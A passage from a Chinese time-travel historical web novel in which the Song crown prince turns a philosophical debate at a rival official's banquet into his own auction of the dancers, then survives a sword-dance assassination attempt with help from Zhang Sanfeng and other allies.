“:孟子曾言,人之初,性本善。后荀子又言,人之初性本恶。可发展到今日,你理学朱熹却提出,存天理,灭人欲这种观点,敢问,这天下已经绝望到让你理学看不到善恶了吗?”
宋宇听到这个问题,顿时一个头两个大,不管怎么回答,都不对,人性这个话题太敏感了。
思量了片刻,宋宇像是下定了某种决心,开口道“:当今天下,人性善恶犹存,至于存天理,灭人欲,当先明白,天下见利而动者众,利由欲生,欲由心生,本是天道赐予,无可厚非。但,欲望种类繁多,其中有好有坏,好的欲望,可以造福天下,不知休止的坏欲望,贻害无穷,后者当灭之,无关个人善恶。”
“:那依殿下所言,什么样的欲望是无休止的不合理的坏的?”
话到此处,宋宇突然脱口而出,指着史嵩之大喊道“:史嵩之史大人的欲望,本殿下就觉得该灭了。”
一语惊四座,史嵩之更是被宋宇一嗓子吼的浑身一哆嗦,冷汗顺着脑门往下流“:殿,殿下,莫要说笑。”
“:本殿下从来不说笑,敢问史大人,你新近娶得那位秦淮花魁,是不是花了十万贯?敢问,这些钱若是用在招兵买马上,打回北方,还会只是空谈吗?”
“:那都是坊间流言,殿下莫要当真,下官对天发誓,为官清廉,两袖清风,绝无鱼肉百姓之事。更无十万贯买花魁之事。”
史嵩之矢口否认,场面一时尴尬,那儒生识趣的没有再次发问,缩了缩脖子,不再言语。
却见一老僧开口“:哦弥陀佛,殿下高论,贫僧这里也有问题要问。”
宋宇转头看向和尚,只见他年过六旬,老态尽显,眉毛都白了“:大师请问。”
“:菩提本无树,
宁静亦非台。
本来无一物,
何必惹尘埃?
贫僧观殿下面相,杀气颇重,又听殿下之言,杀心颇重。贫僧惶恐,像殿下这样杀气横生之人,将来要是坐到了那个位置,恐怕非天下之福。”
宋宇听这和尚说自己杀气重,暗骂了声胡言乱语“:那依大师之言,本殿下当如何?”
“:人生数十载罢了,何必杀心繁重,不若放下杀心,潜心修佛,好给天下人一个安宁。”
“:那大师这意思本殿下明白了。在大师心里,本殿下面对别人杀我,只能双手合十,或者干脆跪地求饶?”
“:先来者富贵,后来者贫穷,贫穷之人想要掠夺富贵之人的财富,只能**。贫僧认为,生而贫穷,不若潜心修佛,等待来世转生富贵人家,也做那人上人。”
“:那依大师所言,北方金国所犯的过错,应当一笔带过?要是再有什么银国铁国打上门来,我们干脆全都进庙吃斋念佛,任由他们**抢掠?”
宋宇言论,让大师有些恼怒,面色不悦的说道“:殿下想要反抗,只会招募更多平民百姓当兵,到时候,互相残杀,死的人更多。”
“:你这该死的秃驴,什么歪理?敢在这里胡说八道?凭什么只许人杀我辱我,却不许我反抗?”
话到此处,宋宇突然想起来,这佛教源于天竺,天竺那地方,种姓制度根深蒂固,但凡有外族打过来,都能杀的他们跪地求饶,最后顺理成章统治他们。
像是什么雅利安人,波斯人,希腊人,蒙古人,甚至是最后的一个公司,东印度公司。这里真是一个奇葩的地方,佛教有这种观点,倒也顺利成章。
那老和尚还要开口,宋宇却一声怒喝打断了他“:住口,老秃驴,本殿下不想听你说话。”
“:殿下,大师乃是我请来的贵客,还请赎他无罪。”史嵩之见宋宇震怒,忙岔开话题“:奏乐,上歌舞表演。给殿下去去火。”
乐声骤起。伴随着乐声,两侧屏风后,闪现出两队舞女。这两队舞女一现身,宋宇不由赞叹道“:乖乖,好白的腿啊。“
只见这两队舞女,身上只穿了红布兜,唯一其他的装饰,便是脖颈与手脚上的铃铛环。以及手上所持宝剑。
随着音乐,舞动起来,身姿婀娜,宝剑上下翻飞,铃铛哗啦啦直响。看得周遭一众官员们是气血上涌。心跳加速。
“:哎呀,好久没见到这阵势了。好怀念啊。”宋宇只听得人堆里传来一声感叹。
闻声看去,只见一个白发苍苍的老大人,此时是满脸泪痕。正忙不迭的擦眼泪,这得踏马多激动啊?
“:这太子锋芒毕露,又和孟珙有关系,不好动手啊。”史嵩之并未观看乐舞,反倒是压低了声音对着身旁那侍卫打扮之人说道。
“:莫怕,孟珙那桌酒宴,酒里已下了**。谅他百般小心,也绝对试不出来。只待迷倒,事先埋伏好的死士
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便会四下杀出。直接将他们砍为肉泥。”那侍卫打扮之人阴狠得回道。
“;若无十全把握,切莫轻易动手。”史嵩之颇为谨慎得叮嘱道。
“:史大人放心,这些个死士,乃是史相多年来的心血。个个武艺高强。对付这些人,还不是易如反掌?”那侍卫打扮之人嘿嘿冷笑着说道。
言罢,向史嵩之拱手示意,转身向后堂走去。
史嵩之目送侍卫打扮之人离去,转过脸向宋宇看去。只见这宋宇不吃不喝,看着乐舞是分外出神。
心中暗自窃喜:嘿嘿,狗改不了吃屎。今日你这厮,还不栽在本官手里?
一曲奏完。舞女们开始搔首弄资,向席上诸位大人见礼,史嵩之见此,端起一杯酒,径直走到了宋宇跟前“:殿下不远千里,来到京湖之地,下官斗胆敬殿下一杯,以表下官对殿下的仰慕之情。”
宋宇正自看着舞女发呆,见这史嵩之送上门敬酒,鄙视的看了他一眼十分不给面子的说道“:嗯嗯,赏脸,喝吧你。”
史嵩之听了宋宇回答,愣在了当场,什么叫喝吧,还你?我敬你你不喝?顿时心中气愤不已“:殿下,还请尝尝这桌上的美酒。”
宋宇看这史嵩之不依不饶,心生反感“:都说了你喝吧,怎的?你不是说仰慕我?”
“:啊,不不不,下官岂敢?”史嵩之看宋宇怒目而视,紧张的一连说了三个不,又赶忙把杯中的美酒一饮而尽。
宋宇看这史嵩之还畏惧些自己,有心逗她一逗“:史大人,这些美女,腿好白啊。”
史嵩之喝的太猛,脸色微红,见宋宇提起美女,想也没想,开口回答道“:殿下喜欢,便送与殿下了。”
宋宇一听这话,两眼发直,语带谦恭地说道“:哎呀,史大人这么大个清官,如此破费,不好吧?这,怕是花了史大人不少银子吧?”
“:下官早年经商,颇有些积蓄,这点钱还不看在眼里,只是殿下莫要在说下官是个贪官了,那都是无知小民,羡慕嫉妒下官比他们有钱,这才以讹传讹,想要污了下官的名声。”
“:看来本殿下是真看走眼了,不知者不怪,还望史大人海涵。至于这些舞女,本殿下笑纳了。”
“;哦,那好,本来这些舞女也是要送给殿下你的。”史嵩之长出一口气,应承道。
宋宇三言两语得了一群美女,却不知,在自己后边坐着的杨妙珍正一脸鄙视的看着自己,心里暗道:方才看殿下巧舌如簧,大战儒生和尚,还有个人样,想不到见了女色,立马现行了,看来本姑娘这一路跟来,实是瞎了眼。如此想着,气愤的杨妙珍拿起面前酒杯一饮而尽。
杨妙珍那里无缘无故生起了闷气,宋宇却依旧一副嬉皮笑脸的模样,对着面前点头哈腰的史嵩之继续说道“:多谢史大人美意。不过。”
说到此,宋宇坏坏的笑了笑。转过脸对着满屋的官吏大声喊道“:诸位,本殿下有个好消息宣布。”
第六十四回 鼓声激昂时 人头落地日
厅内众官吏,听了宋宇呼喊,都依依不舍的从舞女身上将眼睛挪开,一脸嫌弃地看向宋宇。
宋宇见屋内静了下来,清了清嗓子“:咳恩,本殿下宣布,现在这厅内的十位舞女,公开买卖。价高者得。”
此话一出,厅内立马响起一阵窃窃私语。更有胆子大些的,弱弱的问道“:殿下所言当真?”
“:我乃当今太子赵竑是也。岂会哄骗你们?”宋宇鄙视的瞅了一眼开口那人。
众人得了确认,顿时都兴奋起来“:殿下,我要两个。“
”:我出三万两。“
”:殿下,我要两个个。“
”:殿下,我出十万贯,腿最白最细最长的那四个。”
宋宇看着这屋内丑态毕露的众人,心中暗自骂了声‘禽兽’,又转过头对着谢道清说道“;清儿,可否帮我记着这些账目?”
谢道清自打刚才被宋宇,硬牵着手走入屋内开始,就一直木愣愣的托着下巴,盯着宋宇后背发呆。此时宋宇对着自己询问,不自觉的低下了头“:殿下行事,颇为古怪。”
宋宇挠挠头“;有吗?我怎么不觉得。”
“:有一点。”谢道清将头埋得更深,弱弱的说道。
就在宋宇和谢道清研究古怪多少的档口,面前的史嵩之却憋不住了,也不知是气的,还是喝酒喝得,大着舌头说道“;殿下,这,这些舞女可是下官送给殿下你的。”
宋宇听旁边史嵩之开口了,忙打发谢道清道“;清儿,别开玩笑了,你且和这些大人商讨价钱。”
言罢转过脸,一脸不耐烦的对着史嵩之说道“;是你送我的,我在卖了,有问题?”
史嵩之看着面前蛮不讲理的宋宇,恨不得揪住宋宇衣服,大巴掌呼死他,长叹一口气“:唉,罢了,随殿下如何处置。”甩下这么一句话,史嵩之无精打采的转头向着自己座位走去。
却不知何时,那侍卫打扮之人已经在座位旁等候“;史大人,孟珙一众人中计了。”
史嵩之刚被宋宇耍弄一通,正自顾自地生闷气,闻听这人所说,想也没想,开口应承道“:中什么计?”
那侍卫打扮之人听了这没头没脑一句话,也没生气,继续说道“:孟珙等人吃了酒了。”
史嵩之一听大喜,忙回道“:真的?太好了。这些美女不用被人买来买去了,哎呀,赵竑这禽兽,太不是东西了。”
“:啊?史大人,先办正事吧。有权有钱,美女还不是想要多少要多少?”那侍卫模样之人见史嵩之事到临头,还在惦记着美色,恨铁不成钢的劝道。
史嵩之听了这人质问,面带羞愧之色“:哎呀,本官糊涂。让阁下见笑了。”
言毕,冲着屋内众**声喊道“:诸位,且听本官一言。”
厅内此时已乱作菜市场,都在排队买舞女。
但史嵩之这句话还是起了作用。只见厅内渐渐安静。史嵩之一脸苦涩,开口说道“:这些个舞女,可都是本官的心血,离别之前,能否再为本官跳一支舞?”
厅内众官员被史嵩之得言语说的无不动容,忙有官员应承道“;史大人真是有情有义啊。对待女子尚且如此,更遑论对待我等了。”
厅内内也不知那个马屁精,竟然在此时拍起了马屁。
史嵩之吸了吸鼻子“:多谢诸位,本官最喜欢的,便是这美女舞剑。诸位美人,有劳,让本官最后再看一次。”
话到此处,史嵩之满脸不舍之色。
一群舞女得了令,再次排好队列,只待乐声响起,便要起舞。
宋宇看这史嵩之来了这么一招,心里估摸着,莫不是有社么算计?狐狸尾巴怕是要露出来了?
耳畔随之传来张三丰得一席警告“;殿下,贫道观那史嵩之眉宇间杀气流转,一会若有变故,殿下退到贫道身后,贫道保殿下无事。”
宋宇得了张三丰提醒,笑着点了点头。随即转身对着谢道清三人小声提醒道“:对方要动手了,做好准备。”
谢道清第一时间将手伸向了袖子里,摸了摸袖兜中宋宇给自己的小**,“:殿下也要加倍小心。至于清儿,我会照顾好自己,你还记得给我的小**吗?我真的很中意,小时候就常常练习**箭。”
宋宇听了谢道清言语,很是疑惑:这丫头是经历了怎样一个童年啊?在这个男权至上的时代,能骑马,会射箭。乖乖“:这些人里,我最担心的就是你和小小,看你有自保之力,那我便安心了。”
小小听宋宇提自己,插嘴道“:殿下照顾好自己便可,小小有火铳防身,也不需要殿下操心。”
就在几人小声说话的当口,舞女们已经手拿宝剑,翩然起舞。伴随着剑舞而起的,便是沉重的鼓点声。
鼓乐声中,众舞女神色严肃,冷眸看剑,或转,或刺,或削,或砍。宝剑在他们手中,耍的是银光闪烁,剑花绽放。
直把一众官员看的是血脉喷张。随着鼓点声越来越急,舞女们也舞的越来愈快。
宋宇只见堂上剑光闪耀。整个人被急速的鼓点声搞得气血喷张。就在这吊人心魄的一刻,只听座首史嵩之处“啪”的一声响起“;该死的赵竑,拿命来!”
堂下众人寻声看去,但见史嵩之圆睁双目,死死的盯着太子。而其面前地上,一只酒杯被摔成了碎片。
看到这一幕,宋宇暗骂:玛徳,这小子是有多恨我?还该死的?你才该死,你们全家都该死。
可宋宇还未来得及开口骂回去,堂上的舞女行动了。只见十数把利剑,齐齐向宋宇刺来。
“:贫道在此,三脚猫的功夫,也敢放肆?”张三丰大喝一声,手中拂尘一甩,“刷刷刷”当头三把利剑,立马被张三丰手中拂尘缠了个正着。
也不待对方反应过来,张三丰起身一跃,借力一甩拂尘。“刷,呲啦”三把利刃,被张三丰甩离了刺客之手,“叮”一声,齐齐刺在了旁边柱子上。
张三丰动手,杨妙珍也未曾落后,只见她从腰间抽出宝剑。‘撕拉’一声用力扯断过长的罗裙下摆,也从席后跳了出来。
看着面前三个失了兵器,大惊不已的舞女,一剑横扫过去。“噗呲”一声,封喉
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而过。
“噗通。“三具尸体倒地。
脑袋”咕噜噜“滚到了桌案之下。
“:好身手。“张三丰赞叹一声。
也从腰间拔出佩剑。一剑刺死身前冲上来的一个舞女。挺剑与剩余舞女混战在一起。
边战,张三丰边念起了道德经“:
道可道,
非常道,
名可名,
非常名。
无名,
万物之始。
有名,
万物之母。”
直到了这一刻,屋内众人才从吃惊之中醒转过来“:有刺客!来人呀!”
“:我的妈呀。**啦,快跑啊。“
屋内一时乱作一团。
在混乱的喊声中,甚至有一道不和谐的声音传出“:殿下,**的舞女,能退货吗?”
宋宇听到这个声音的一刹那,嘴角直抽抽“:人货两清,破损不赔。”
史嵩之看舞女偷袭失利,心道不好,大声对着身后侍卫打扮之人喊道“:传令,封锁中院。不得放走一人。”
侍卫打扮之人领了声喏,口含二指,打了个唿哨。只见厅内外早已埋伏好的甲士应声而动。迅速从前后门涌进了厅内。
这些侍卫,多是披着甲胄,手拿刀盾,在冲入厅内的同时,顺道还将厅门给堵住。以防厅内有人逃跑,或是厅外有人增援。
史嵩之一看强援到来,哈哈大笑“:今日本官定要让你赵竑小儿葬命于此,哈哈哈。”言罢,史嵩之仰天狂笑,似是认定宋宇等人只有等死的份。
看着向前冲去的张三丰,宋宇并未慌乱,反倒是从腰间抽出了仁剑,护着小小谢道清两姑娘向着墙角退去。
护卫少时便用盾牌阵,将杀疯了似地张三丰围成了一个圆圈。
张三丰眼见被困,却毫无惧色,甚至有些蔑视之意“:贫道自习武有成以来,还从未有人敢主动挑衅,今日尔等,就全留在这里吧。”
一听对方报名号,侍卫议论声起“:张三丰?张**?甲子荡魔?那个打的少林寺不敢开门收徒的狠人?”
“:妈妈,我想回家。”
“:史大人,快,快再派些援兵,我们这点人绝对拿不下他。”
张三丰哪管他们议论,一把拂尘直接拉过来一个盾兵,宝剑顺势抹脖子,动作行云流水,一气呵成。得手后毫不迟疑,又去找下一个目标。
主力大部分被张三丰吸引,剩余士兵持盾向着宋宇冲过去。
谢道清眼疾手快,直接射倒排头兵,小小点燃火铳后,一声巨响,撂倒随后冲来的盾兵。
杨妙珍向前几步,捡起地上盾牌,随后退到了宋宇身边“:殿下,盾牌给你,保护好自己和她俩。”
宋宇还以为杨妙珍要冲出去,忙问“:你要干嘛?”
“:我不走,我留在你身边保护你。”
宋宇这才松了一口气。持盾遮挡随后冲上来的盾兵攻击的同时,用宝剑补位杀敌。
杨妙珍也被数个盾兵攻击,一时陷入混战,可盾兵似潮水般源源不断冲上来,在前面遮挡的宋宇和杨妙珍,一时都忙得不可开交。
第六十五回 落影追魂枪 太极张三丰
后面谢道清手拿小**,l利落的射出一支支**箭,虽然对这些盾甲兵杀伤力有限,但这一箭射过去,也直疼的那些甲士呲牙咧嘴。射得准,还能直接脖颈放血,果断送走。
相对于小**,小小的火铳在近距离威力惊人,穿皮甲铁甲如穿豆腐,几乎招招毙命。
史嵩之见宋宇几人本领高强,这么多侍卫竟然一时拿不下,甚至还有人请求增兵,不住的骂骂咧咧“:本官养你们,还不如养条狗,一个个五大三粗,还不如对面几个姑娘能打。”
骂归骂,这增援还是要给的,只见史嵩之再次吩咐身后侍卫打扮之人增兵,那人也不墨迹,一声口哨,厅外又有大批刀盾兵涌进了前厅。
张三丰眼见对方增援又至,不愿恋战,飞身跳起,踩着盾兵肩膀奔着宋宇苦战的角落而去。
待赶到时,就见宋宇和杨妙珍持盾被围在了墙角一隅之地。周围地上已经堆满了侍卫死尸,两人面红耳赤,额头汗水直流,尤其是宋宇,不住的大口喘着粗气。显然累得不轻。
张三丰一个鹞子翻身,跳到宋宇不远处的盾兵身上,长剑向下一连刺出数剑,脚下数盾兵便皆被张三丰刺倒在地。
张三丰杀了几人后,急忙跳下地,翻身护在宋宇身前“:殿下,贫道护你身前,你且调息休息。”
宋宇早就身体吃不消了,不说那面盾牌的重量,就是与对方用盾牌角力,也是把自己累的气喘如牛“:多谢,你在晚来一步,我怕会力竭晕倒。”
有了张三丰助阵,本来被死死围住的局面慢慢被打开,就见张三丰外加杨妙珍两人或弯腰低刺,或剑扫封喉,出剑之快,之准,着实是将周围一众身披甲胄的盾兵,杀了个没脾气。收割生命的速度,甚至快过了盾兵补充的速度。交战的空间渐渐扩大。
“:姑娘,你这剑法拳脚,有些名头,可否说与贫道?”张三丰杀敌之余,竟聊起了天。
杨妙珍横剑挡住身前劈来弯刀,抬腿一踢那人下体,只听“;哎呦,要了爷的亲命喽。”
那盾兵扔了兵器,捂着裆部退到了同伴身后。杨妙珍这才抽出空来回答道“:小女子这拳,名叫花拳,这腿,名叫秀腿。这剑法,名叫梨花剑。”
“:梨花剑?大唐女将樊梨花,与你有何关系?”张三丰皱眉道。
杨妙珍微微一笑“:正是我家祖师奶奶。”
“:这么说,落影追魂这套枪法,尚未失传?”张三丰继续追问道,此时的他,满脸的不敢置信之色。
杨妙珍一听也是大惊“:想不到**竟晓得我家枪法名字。只不过,现在这套枪法已经改了名字,也唤作梨花枪。”
说到此处,杨妙珍反问张三丰道“:道长剑法看似漏洞百出,招招都是破绽,实则绵里藏针,故意诱敌袭你要害,反倒令对方露出破绽,须弥闪躲之间,敌已被刺剑下。敢问这剑法如何称呼?”
说实话,张三丰这套剑法自问世起,受过不少人夸赞,但张三丰从未因此开心过,但今日听了这杨妙珍夸赞,只听张三丰大笑出声“:哈哈哈,姑娘好眼力,贫道这剑法,乃是参照阴阳之道理,天地之玄妙所创。唤作太极。”
“:道长这套剑法,将来必大行于天下。”
“:那就呈姑娘吉言了。以姑娘这番伸手,能在殿下身边效力,将来必然也是大有所为。”
杨妙珍听了张三丰之言,愣了片刻“:这,我与殿下并非隶属关系,现在之所以跟随殿下,只是为了报答殿下恩情罢了。”
张三丰直摇头“:哎,可惜了。像殿下这般有勇有谋,侠肝义胆的太子,可遇不可求啊。姑娘,恕贫道直言,过了这村,可就没这店了。”
两人聊到此处,却听一直在观战的史嵩之大声喊道“:赵竑小儿,乖乖投降,你的那些个随从,早已尽数被戮。再不投降,定要将你裂尸挫骨。”
宋宇听了这史嵩之喊叫,却是不以为意,不为别的,就凭那群这个时代最顶尖的人,能轻易被你史嵩之给玩死?
只听宋宇大声喊道“:亲孙儿,还当你比你那兄弟史弥远聪明些,会换着花样来玩。想不到也不过如此。”
谢道清听了宋宇挑衅,从身后踢了宋宇小腿一下“:殿下,箭都要射完了。你还羞辱这厮,莫不是要把他逼急了?倾全力致我们于死地?”
宋宇听了身后谢道清提醒,转过头去,正撞上谢道清嘟着嘴质问得俏脸,只见谢道清鼻尖冒出了汗珠,圆睁双目,瞪着自己。
见此,宋宇不好意思的挠了挠头“:这厮嘴太贱,方才就骂我该死,不骂回去,**岂不亏了?”
一旁小小失声笑了出来“:殿下你这嘴皮子若是去做货郎,肯定买卖强。”
“:好主意啊,等到这天下平定,本殿下带着你们隐居山野,聊度余生,如何?”宋宇似是说笑般问道。
谢道清没说什么,倒是小小来了句“:我还当殿下将来要位登九五,娶谢姑娘为皇后呢?”
他们这边有说有笑,史嵩之肺都气炸了,见这太子死到临头依旧嘴硬,咆哮着喊道“:快,杀了他赏银十万,今日本官要把他剁成肉泥,熬一锅肉汤喝。”
且不说满屋的侍卫作何想法,却看宋宇听到自己人头的报价,惊得直吐舌头“:想不到我这条烂命,能值十万!”
言罢,宋宇转过头看了看身后两位姑娘,却见小小此时一脸的坏笑,盯着自己说道“:殿下,小女子现在若是杀了你,只怕一辈子都吃喝不仇了。”
如此说着,将火铳指向了宋宇,那模样,似是要下手。
宋宇这心立马凉了半截。完了,忘了这姑娘是个卧底。现在杀了自己还有钱拿,他要不动手,说不过去啊,
想到此,宋宇一脸惊恐的看着小小“:小小姑娘。你不会说真的吧?”
‘噗嗤’小小乐了,娇媚的笑着说道“:原来殿下也怕死。放心吧,小小已经没**了。”
宋宇擦了擦额头汗水,心有余呖的说道“:那要看**,被自己人弄死,死得冤枉。”
谢道清看着面前若无其事聊天的
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俩人,无奈的劝道“:两位,我也没**箭了,另外,你们有没发现,四周无数双眼,此时正直勾勾的盯着我们?或者说是盯着殿下你。”
宋宇听了谢道清提醒,扫了一眼四周,只见屋内此时静的出奇。所有人都停下了打斗,目不转睛的盯着自己。
宋宇心中暗道不好。也不知人堆里谁喊了一声“:上啊,兄弟们。富贵就在眼前。”
话音一落。满屋的侍卫顿时都冲着宋宇这猛扑过来。
就在这电光火石的一瞬间,只听厅门处一声大喝“;奶奶个熊,你们这群乌龟王八蛋,休要伤俺太子兄弟。”
本来都向宋宇扑去的侍卫,闻听这如打雷般的怒喝,纷纷停住脚步,回头看去。
只见门口一络腮胡子大汉。右手提着一身着黑衣之人,左肩膀上还扛着一个。
不需多说,肯定是这大汉呼喊。就在众人都盯着这大汉看的当口,从大汉身后闪出来两个人。其中一人身穿银袍银铠,英俊非常。
见到此人,屋内的侍卫不禁都偷偷咽了口唾沫,面上无不写真惊恐两字。另一人则头戴东坡巾,身着土色衣衫。看上去斯斯文文,酸不溜秋的。
只听得这头戴东坡巾之人对着大汉说道“;彭兄弟,快快去救殿下,我二人给你殿后。”
不错,这三人便是余阶,彭义斌,孟珙。
彭义斌得了命令,大喝一声,原地带着身上两个着黑衣之人转起了圈。待力道正好之时,猛然甩出。就听‘砰’的一声,砸向了门口企图阻挡的几个侍卫。直接将他们砸倒在地。
眼见通路被打开,彭义斌运气铁布衫,当先冲了进去,边冲边大喊道“;俺滴太子兄弟,你在哪?”
屋内最角落里的宋宇一听彭义斌呼喊,顿觉如临大赦“:彭兄弟,我在这,你们总算来了,若再晚来一时半刻,怕是见不到本殿下了。”
彭义斌确定好宋宇方向,对着面前的侍卫是横冲直撞,碰上那些个不长眼的,有的直接脑袋对脑袋撞上去,做个开瓢手术。有的直接掐住脖子,扔小鸡一样扔向远处。
依仗着一身铁布衫登峰造极,彭义斌少时便在挤满侍卫的厅内撞出一条路。来到张三丰面前。
张三丰见此情景,赞叹道“:想不到殿下身旁,竟有如此多的猛士。”
彭义斌开口对着宋宇来了句“:太子兄弟,有俺在,今儿个谁也不能伤你一根毫毛。”
言罢,直接加入战局,本就被张三丰和杨妙珍杀的连连后退的侍卫,这次彻底被碾压。
彭义斌以一人之力,直接扭转了整场战局,宋宇不住的赞叹“:有彭兄弟在,千军万马亦可不惧。”
说话的当口,又有数人向厅内冲来。与宋宇他们里外夹击之下,厅内侍卫数量在肉眼可见的急速减少。
少时只剩十数人,稀稀拉拉得分布在厅内各处,他们如待宰之羔羊,惊魂未定的盯着宋宇一众人。
见战局已定,张三丰徒弟田奇喘着粗气说道“;师傅,徒儿来迟,让您老人家受累了。”
第六十六回 原来是盛章 余阶论形势
张三丰张三丰经过方才混战,此时却是面不红,气不喘,神情自若地捋着胡须笑道“:不迟,只当你们是吃醉了酒。”
眼见厅内形势大转,侍卫马上死绝。史嵩之已经吓得两腿发软,只见他哆哆嗦嗦,对着身旁侍卫打扮之人说道“:盛大人,这这这,这是怎么回事?”
这侍卫打扮之人,便是临安三司之一的,侍卫马军司指挥使盛章。此时盛章也是诧异不已,期间自己亲自去过旁厅,当时这群人确实已经饮酒。但为何?
“:本指挥使当时确认过,怎会如此?”盛章满脸不可置信的得自言自语道。
史嵩之见这盛章也是被打了个措手不及,忙提醒道“:快,快唤院外侍卫来援。”
盛章得了提醒,嘴含双指,就要继续求援,却忽感脖间一凉,一柄寒光闪闪的**,不知何时,已然悄无声息的抵在了自己脖间,盛章大惊“;哎呦我的妈,你是人是鬼?”
只听这盛章惊声大叫道。也怪不得他如此反应,这盛章虽贪鄙,但也着实有些身手。能被人偷袭身后,自己却没有发觉,可见身后之人要么是鬼,要么也是个身手了得的人物。
却听身后传来一个娇滴滴的声音“:让这些人全都住手。不然别怪姑奶奶不客气。”
确定了自己身后是人,盛章顿时像泄了气的皮球。一脸绝望得对已经吓得抖如筛糠的史嵩之说道“;史大人,看来我等败了。”
言罢,盛章对着厅内喊话道“:史大人有令,全都住手。”
其实厅内已经没有多少侍卫,但宋宇等人还是住了手,齐齐看向史嵩之处。
眼见史嵩之两人已被制服,宋宇哈哈大笑“:史大人?转过脸来,本殿下有话要讲。”
史嵩之听了宋宇言语,心咯噔咯噔跳的紧,也不知哪来的力气,跳起身来,转身就要奔后堂跑去。
却见抵住盛章喉咙之人一声呼喝“:你这狗官,想跑?”
话音响起,短匕随之出手,不偏不倚,扎在了史嵩之小腿弯处。
史嵩之只觉得右腿电击一般。噗通一声,跪倒在了地上。随后,赵国快步跑了过去,将手中弯刀比在了史嵩之脖颈处,押到了宋宇跟前。
此时史嵩之脸都绿了,跪在宋宇跟前磕头如捣蒜“:殿下,下官是被奸人所迷惑,这才有了害殿下之心。还望殿下看在临安我兄长面上,网开一面。”边说着,边指了指同样跪在一旁的盛章。
盛章看这史嵩之泼脏水,也不言语。梗着头看向他处。宋宇见此,询问道“:你是何人?区区侍卫衣着,为何这史嵩之会栽赃与你?”
盛章白了宋语一眼“;谅你也不敢杀我,此时整座史府,已被三千甲士死死围住,识相的,弃械投降,盛大爷或许会网开一面。”
宋宇一听盛章这话,哈哈大笑“:蠢货,有你们俩在,本殿下又何必跑?你莫不是没长脑子?”
盛章被宋宇羞辱,涨红了脸,细一着么,还真是这么回事。这才感觉到事态不妙。指着史嵩之说道“;哎呀,殿下,在下只是个侍卫,这史嵩之是在逛骗殿下。”
宋宇暗道:这货变脸,真快啊。感情刚才不是忠心,是压根没看清形势,没反应过来呢?这人,还真不是一般的迟钝。
旁边史嵩之一听盛章言语,是破口大骂“:杀才,贼杀才。殿下,这厮乃是临安三司侍卫马军司指挥使盛章,就是他蛊惑下官啊。”
“:呦呵。还是个京官。盛指挥使,你为何要蛊惑史大人,置本殿下于死地?”宋宇一听这人官位,双眼放光。
盛章此时是满头大汗“:殿下,他史嵩之是受了史弥远之命,要杀殿下,与盛某无关啊。盛某只是外出公干,碰巧路过此地。”关键时刻,为了活命,这盛章把亲爹卖了。
“:公干?说来听听。”
“:这,盛某其实只是给史相跑腿的。”
“:怎么讲?”
“:最近不是金国和蒙古打仗么,打仗那就得缺马缺兵器,正好,这些东西咱大宋都有。史相为了给临安的官员们改善改善,便将军马兵器,托盛某运来襄阳,卖给金国人。”
宋宇长叹一口气,也没心情再问下去,径直走向史嵩之方才的主座位,待坐定后,对着赵国下令道“:赵国听令,将在场所有喘气的,都给我排成一排,跪在地上,听候发落。”
赵国领命,驱赶着厅内还活着的,官员,侍卫,排成两列,跪在宋宇面前。
宋宇正要说话,却见一浑身道袍之人跪地磕头“;殿下,史嵩之要杀您,与小道我无关那,小道只是帮他炼些丹药而已。殿下,您想不想长生不老?”
“:不想。”
“:殿下,长生不老啊,这都不想?没事,殿下,贫道这里还有壮阳的丹药,殿下一定用得着。”
“:说到炼丹,本殿下倒是用不上,不过,本殿下倒是有个地方,只要你肯去,就饶你一命。”
道士见宋宇松口饶命,赶紧磕头“:只要能饶了小道士这条命,小道日后全凭殿下差遣。”
宋宇饶了这位道士,转过头,看向了史嵩之,只见这史嵩之满身的肥肉趴在地上抖如筛糠,长叹口气:这次拿下了史嵩之,接下来就是想办法援救枣阳,可这兵马要怎么弄到手呢?
“:余阶,你向来足智多谋,能看穿利害,你对现在的形式,有什么看法?”
余阶向前一步“:殿下,这次我等拿下了史嵩之,可谓是福祸相依。”
“:哦?说来听听。”
“:这福吗,便是殿下接下来可是掌控了整个荆襄,话说我大宋三个地方兵马最多,其一淮东,其二荆襄,其三巴蜀。这三个地方,淮东兵马多是韩世忠张俊所留,巴蜀则是吴璘一脉,这荆襄,多为岳飞岳元帅旧部及其后代,兵马最多,军队战力也最高,殿下得了此地,便有了和史弥远争斗的根本。”
“:那祸呢?”
“:福兮祸所依,今日我们抓了史弥远的胞弟,
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史弥远若是得知此事,万一狗急跳墙,打着皇帝的名义前来征讨,那我大宋片刻就会陷入内战漩涡不能自拔。即使我们打赢了,也是元气大伤,更遑论北方金国仍在虎视眈眈。”
宋宇听了余阶一番分析,暗道余阶真是一针见血,直戳要害。事到如今史嵩之的死活已经无关紧要了,打败他的那一刻,自己就已经成了荆襄的实际掌控人。
“:那依你的意思,接下来要做什么?”
余阶并未着急回答宋宇,反倒是对赵国说道“;赵兄弟,劳烦你将这两人暂且押到后堂。”
赵国听了余阶吩咐,连踹带赶,将史嵩之两人轰入了后堂。余阶这才回答道“:殿下,我等当务之急,需做好三件事。”
宋宇听这余阶要献计,慌忙问道“:哪三件事?”
余阶面色严肃的答到“;其一,**息,将今日所有在场的侍卫官员,乃至是和尚,全都囚禁起来。另外,应断绝襄阳与临安的联系,派兵驻守个个关隘,严查私信相通之人。这样才能做到万无一失。再将史弥远的罪证,尽数掌握在自己手中。如此,消息不得走漏,即使走漏,到时我等只怕已经回到了临安。在者,即便史弥远将此事放到朝堂上,有大把证据在手,殿下也不怕他。至于这其二,殿下需要迅速将这襄阳所有屯驻兵丁,尽数掌握到自己手中。如此,殿下便有了保障。进能解枣阳之围,退能守荆襄安定。至于其三,现下襄阳文官几乎都在方才的混战中**,殿下可发出求贤令,应征本地贤才填充空缺,待我等回临安之时,殿下可吩咐几位兄弟,留在这襄阳打点各处,即使到时史弥远真的要对我等下**,这襄阳重镇也绝对会站在殿下这边。”
宋宇沉思片刻,继续问道“:这第一倒是好办,**息不难,可我听你的意思,只要日后回了临安,他史弥远见我们没死,必然会翻脸?”
余阶见宋宇仍存侥幸心理,继续回道“:殿下,小弟认为,史弥远借着襄阳之利,北接金国,内通百官。可以说是史弥远的七寸,也不为过。方今七寸被打,殿下掌握了史弥远大批秘密。一旦回朝,这些秘密若是公之于众,他史弥远哪怕通天本事,也洗不清了。殿下若不信,可询问史嵩之这厮,想必府中,会有不少见不得人的书信,或是暗中所做的交易。”
“:那这第二,收服襄阳各军,要如何做?”
“:殿下,方才不是说了,这荆襄士兵,多是岳元帅旧部,孟珙小将军的父亲孟宗政,也是岳元帅的旧部,这事你得问孟小将军。”
